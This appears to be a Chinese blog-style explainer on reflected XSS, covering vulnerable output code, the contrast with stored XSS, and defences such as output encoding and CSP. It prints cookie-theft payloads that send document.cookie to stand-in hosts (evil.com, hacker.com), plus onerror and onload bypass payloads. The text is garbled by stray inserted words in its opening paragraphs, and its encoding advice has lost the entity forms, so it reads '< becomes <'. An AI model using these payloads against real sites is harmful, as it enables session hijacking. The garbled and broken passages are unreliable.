你点了那个链接,页面一闪,什反射然后你的漏洞浏览器就把自己的cookie发给了攻击者。整个过程你什么都没察觉,简述地址栏看着也正常——这就是什反射反射型XSS的日常操作。
反射XSS(Reflected XSS)的漏洞核心就一句话:恶意脚本作为请求的一部分发给服务器,服务器没做处理就直接“反射”回你的简述浏览器,浏览器当成正常页面代码执行了。什反射它不存数据库,漏洞不留在服务器上,简述纯粹是什反射“一次性的”。你中招,漏洞是简述因为你点了那条带毒链接;别人不点,就没事。什反射
举个我见过的漏洞真实例子。某网站有个搜索功能,URL长这样:https://example.com/search?q=关键词,页面上会显示“您搜索的是:关键词”。如果搜索词是<script>alert(1)</script>,页面直接把它当HTML渲染,弹窗就出来了。攻击者把链接改成?q=<script>fetch('//evil.com?c='+document.cookie)</script>,再短链伪装一下,发给你。你一点,cookie就飞了。
https://example.com/search?q=<script>new Image().src='//hacker.com/steal?c='+document.cookie</script> 注意,这里服务器没存任何东西。你请求里带了脚本,服务器把它拼进HTML返回,浏览器执行。反射型XSS的“反射”二字就是这么来的——像镜子一样,你给什么,它弹回什么。
为什么这种漏洞至今没绝迹?因为很多老代码习惯把用户输入直接拼进HTML。比如PHP里写echo $_GET['name'];,Java里out.println(request.getParameter("msg"));,前端再用innerHTML一塞,齐活。开发者觉得“反正没存库,能出啥事”,但攻击者要的就是这一次性执行。
反射XSS和存储型XSS的区别,用个比喻:存储型是攻击者在你家墙上刻了骂人话,谁来看都看见;反射型是攻击者递给你一张纸条,上面写着骂人话,你看完就扔了——但看的那一瞬间,纸条上的字已经生效了。所以反射型更依赖社工,得骗你点链接。
那怎么防?最直接的办法:输出编码。用户输入要放进HTML里,就把<转成<,>转成>,引号也转掉。这样浏览器看到的是文本,不是标签。现代框架比如React、Vue默认就帮你转义了,但如果你非要用dangerouslySetInnerHTML或者v-html,那就等于自己把门打开。
还有个常见误区:只过滤<script>。攻击者可以用<img src=x onerror=alert(1)>,或者<svg onload=alert(1)>,甚至<body onpageshow=alert(1)>。黑名单永远列不全,白名单加编码才是正路。
我见过一个内部系统,搜索框反射XSS,但只影响自己——因为没cookie可偷。可一旦攻击者把链接发给管理员,管理员一点,后台就沦陷了。反射XSS的杀伤力取决于你骗到的是谁。普通用户可能只是被弹窗骚扰,管理员就是整个系统的钥匙。
浏览器也在帮忙。Chrome、Firefox内置了XSS Auditor(虽然现在有的移除了),CSP(内容安全策略)也能拦下内联脚本。但别指望浏览器兜底,CSP配错了反而一堆误报。最可靠的还是服务端和前端都老老实实做转义。
最后说个细节:反射XSS的Payload经常藏在URL参数里,但也能藏在路径、Header甚至POST body里。只要服务器把请求里的东西原样吐回页面,就有机会。测试的时候,别只盯着?q=,/user/<script>这种路径反射一样危险。
下次你看到“您搜索的关键词是:”后面跟着你输入的内容,右键查看源代码,如果那个词没被转义,直接以<b>之类的形式出现,那这个站大概率有反射XSS。别点陌生链接,尤其是短链——你永远不知道?q=后面藏着什么。